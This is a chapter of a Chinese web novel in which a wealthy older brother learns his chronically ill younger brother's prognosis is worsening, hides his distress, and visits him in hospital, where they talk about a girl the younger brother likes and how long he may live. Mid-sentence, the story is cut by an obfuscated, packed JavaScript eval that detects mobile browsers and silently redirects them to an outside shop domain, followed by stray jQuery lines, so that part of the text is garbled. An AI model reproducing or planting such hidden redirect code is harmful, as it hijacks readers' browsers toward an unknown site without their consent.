谢司珩开完会的时候已经是下午四点半。会议室里的咖啡杯还没收完，投影仪还亮着，助理站在门口等。
没有多余的汇报和需要签字的文件，只有一个深蓝色的文件夹，透过半透明的封面可以隐约看到谢氏旗下私立医院的名字。
“谢总，陆医生把最新的检查结果发过来了，专家团队那边的初步意见也出来了，资料都在里面。司机在楼下等。”
谢司珩接过文件夹，没有在会议室打开。他起身，走到电梯口才像积攒了足够多的勇气翻开第一页。电梯从顶层下降到地下车库的这段时间，他把十多页报告从头看到了尾。等到合上文件夹，电梯刚好到了地下车库。
他站了几秒，电梯门打开又关上，直到同乘的助理轻声提醒，他才回过神来。
从公司到医院的路不长，他没有再看那份报告。车窗外的街景一片一片地往后退，他把手机翻了个面放在膝盖上，做了几个深呼吸。
车停稳的时候手机震了好几下，妹妹谢司晴在家庭群里发了一连串的消息。
“哥你到了没”
“我还在律所，六点半跟爸妈一起过来”
“给小澜带了他喜欢的芝士蛋糕”
“对了今天检查报告是不是出来了”
他揉了揉眉心，在群里回：“刚到，马上上去。”然后打开妹妹的私聊对话框：“结果我去问医生。你别在群里刷屏，让他看到了又要多想。”
谢司晴立刻回了个嘴巴拉拉链的表情包，群里也安静下来。
谢司珩收起手机，整了整衬衫领口，推门下车。
住院部的顶楼只有一间病房，布局像个酒店的套房。外面是一个小会客室，沙发、茶几、电视、书架一应俱全，窗台上还摆着家里人轮番送来的新鲜花束。里面才是真正的病房，各种医疗监测设备安静地站在床头，墙上有一排他弟弟自己挑的画，和冷冰冰的医疗器械放在一起居然也不显突兀。
谢司珩没有直接进病房，先拐进了小会议室。三位主任已经在等了，面前都摊着一沓报告，影像胶片挂在灯箱上。
心内科陈主任把最近的检查数据调出来放在桌上，从趋势图上看得很清楚：几条关键曲线在过去三个月里都在缓慢、持续地往下走。血液科那边监测的凝血因子活性依然维持在较低的水平，没有明显波动，也没有任何改善的迹象。
陈主任摘下眼镜闭了闭眼：“他的身体就像一台发动机。心脏、肺、凝血系统，三个核心部件都在缓慢损耗。单独一个出问题我们还有备用方案，但三个一起衰退，互相影响牵一发而动全身。手术是必要的，我们需要协调心外、血液、麻醉、ICU一起做方案，可能还要请国外那几位专家飞过来会诊。”
谢司珩安静地听完，表情没什么太大变化，只是问了一句：“成功率有多少？”
陈主任说手术成功率在五到六成左右，但术后出血的风险比普通患者高很多，术后四十八小时是最大的关卡。
谢司珩闻言点了点头，站起来跟三位主任握了手，说辛苦了，让医生们继续做方案，等专家到齐了再开会。
走出小会议室的时候他甚至对护士站的护士们也点了点头，嘴角带着礼貌的弧度。
然后他拐进走廊尽头的洗手间，锁上门，没有开灯。
黑暗中他靠在墙上，脸上所有的平静和礼貌一起慢慢垮下来。
他想起很多年前，小澜才十一二岁，坐在花园的秋千椅上晒太阳，膝盖上放着一本书慢慢翻，比现在有力气。他在落地窗前看了很久，心想这个弟弟怎么这么好看，好看到让他觉得自己这个当哥的必须赚很多很多钱，把全世界最好的医生请来，让他活很久很久。
现在他赚了很多很多钱，把最好的医生都请来了，但诊断书上的曲线还是在下滑。
他一个人在黑暗中站了将近两分钟，打开灯对着镜子整了整领口，把眼角的一点湿意擦干净，重新挂上那副淡定从容的表情。
不能让弟弟看出来。
谢司珩推开病房门的时候，谢司澜正靠在床头。
他身上盖着浅蓝色的被子，鼻氧管换了一根新的，病号服的领口露出一截锁骨，右手手背上埋着留置针。心电监护仪上的数字安静地跳动着，旁边的输液架上挂着一袋透明的液体。
搁在被子上的左手手腕上还戴着那根细手链，旁边放着一本摊开的书，但此刻他低着头在看手机，嘴角微微弯着，像是看到了什么有趣的东西。
谢司珩走近了一点，他感觉到光线暗了一点，抬起头，弯起眼睛：“哥。”
谢司珩走到床边，没有说话，先伸手揉了揉谢司澜的头发。这个动作他从弟弟还是个仰着头叫“哥哥抱”的小不点的时候就开始，做了二十几年。
谢司澜栗色的发丝软软地滑过他的指缝，发尾被枕头蹭得翘起来几缕，谢司珩顺手帮他理了理。
“今天怎么样？”谢司珩在他右边的椅子上坐下来，语速比平常慢了一些，“检查做了多少项？有没有舒服一点？”
“做了肺功能，抽了血。陆医生说数据跟上次差不多。”谢司澜乖乖地一个一个回答，“好一点了。下午下床坐了一会儿轮椅去晒太阳，没头晕。”
其实他没说的事有很多。
抽血的时候针眼按了十五分钟还是渗血，护士换了两次胶布。陆之安最后不得不亲自按着他的肘窝，又按了将近十分钟才止住。肺功能测试吹到第三次他才勉强吹出有效数据，因为吹之前喘了两分钟。
这些他都没打算让家里人知道。哥哥只需要知道他“舒服一点了”，然后他就能假装这个话是真的。
谢司珩把椅子往前拉了一点，语气随意地切入正题：“小晴跟我说，你最近跟楼下邻居走得很近。”
谢司澜把手机放下了：“姐的嘴是广播电台吗？”
“她是你姐，她关心你。”谢司珩靠在椅背上，一贯冰山的总裁脸此刻挂着一点笑，“她说楼下那个女生帮你遛糯米，你还去人家闺蜜店里喝了草莓牛奶。糯米这几天也是她在带？能让你的狗跟着她住那么久，这可不是一般的信任。”
谢司澜耳朵尖开始变色：“糯米是它自己，有自己选择的权利。”
“所以你是说糯米选择了她，跟你没关系。”
“没关系。”
“那糯米比你主动，它已经会枕着她家狗的爪子睡觉了。”谢司珩把手机拿过来，屏幕上赫然是季
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633781|203486||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
书宁昨晚发在朋友圈里的照片，被谢司晴转发到了家庭群里。
谢司澜盯着照片看了两秒：“姐到底在我们家群里发了多少东西。”
“你哪天无聊了自己翻呗，包括你穿的那件她买的衣服。我记得你之前偷偷跟我告状说太夸张了，怎么还专门换了这件衣服见人？”谢司珩看着弟弟那张逐渐变粉的脸，难得有了调侃的心思。
谢司澜把毯子拉过来一直盖到下巴：“那件衣服穿着舒服，跟见谁也没关系。”
“嗯。”谢司珩不跟他争，靠在椅背上看着他，过了好一会儿才重新开口，语气里调侃的意味没了，认真了些，“小澜，如果你真的喜欢她，就告诉她。你又不是什么拿不出手的人。”
毯子盖住了半张脸，看不清楚他脸上的表情，但毯子的边缘被他的手指捏得微微发皱：“……哥。”
“嗯。”
“医生跟你说了什么？”
谢司珩脸上的笑容僵了一瞬，很快恢复轻松。他把椅子往床头又挪了一点，随意道：“就是常规检查结果。心脏和肺的数据跟上次差不多，血液指标也稳定。专家团队在做方案。”
谢司澜把毯子从脸上拉下来，推到胸口。他看着谢司珩，那双浅色的眼睛安安静静的：“是不是不太好。”
“没有，你想多了。医生说这些波动都是预料之中的，你的身体底子本来就弱，换季的时候指标反复很正常。专家团队谨慎一点是好事，他们要把所有的可能性都考虑到，不代表……”
“哥。”谢司澜打断他，声音很轻，是他一贯的语调，“我还能活多久？”
谢司珩的脊背猛地绷紧了。他不可避免地回想起刚才在小会议室看到的那几条下滑的曲线，陈主任说“五到六成”的时候不敢看他的眼睛。
这几年的每一次季度检查，每一次结果出来他都整夜睡不着，对着手机屏幕反复划一个又一个医学名词的解释。
“你在胡思乱想什么。”谢司珩说，声音压在喉咙里，“你会好好的。医生在看数据，专家在调方案，有的是办法。你哥我才三十，我的家底还没花完。我会赚更多钱，把最好的医生全请来。你只要开开心心的，每天舒服一点就行，别的什么都不用想，听到没有？”
他顿了顿，伸手把谢司澜滑下来的被子往上拉了一点：“哥什么时候骗过你？从小到大家里有谁骗过你？你好好养着，其他的交给我。”
谢司澜看着哥哥的表情和他眼里的红血丝，露出一个很淡的笑：“我知道了，我会听话的。哥，你别紧张，我就是问问。”
谢司珩站起来，在床上的人还没来得及反应之前把他拉进怀里。动作很轻，避开了他受伤的留置针和心电监护线，环住他瘦得硌人的肩膀，一只手手掌覆在他后脑勺上，把他按在自己肩窝里。
隔着病号服，他的弟弟瘦得像一把蒙着皮肤的骨架，脊椎的骨节凸起。消瘦的身体里的每一根骨头拼成了和他一起长大的弟弟，从小带着这个病，撑了多少年，一步一步熬到今天。
“小澜，每天吃好睡好，身体自然就会好起来。喜欢的事就多去做，想见的人就去见。”
“好。”谢司澜的下巴抵在哥哥肩头，声音闷闷的。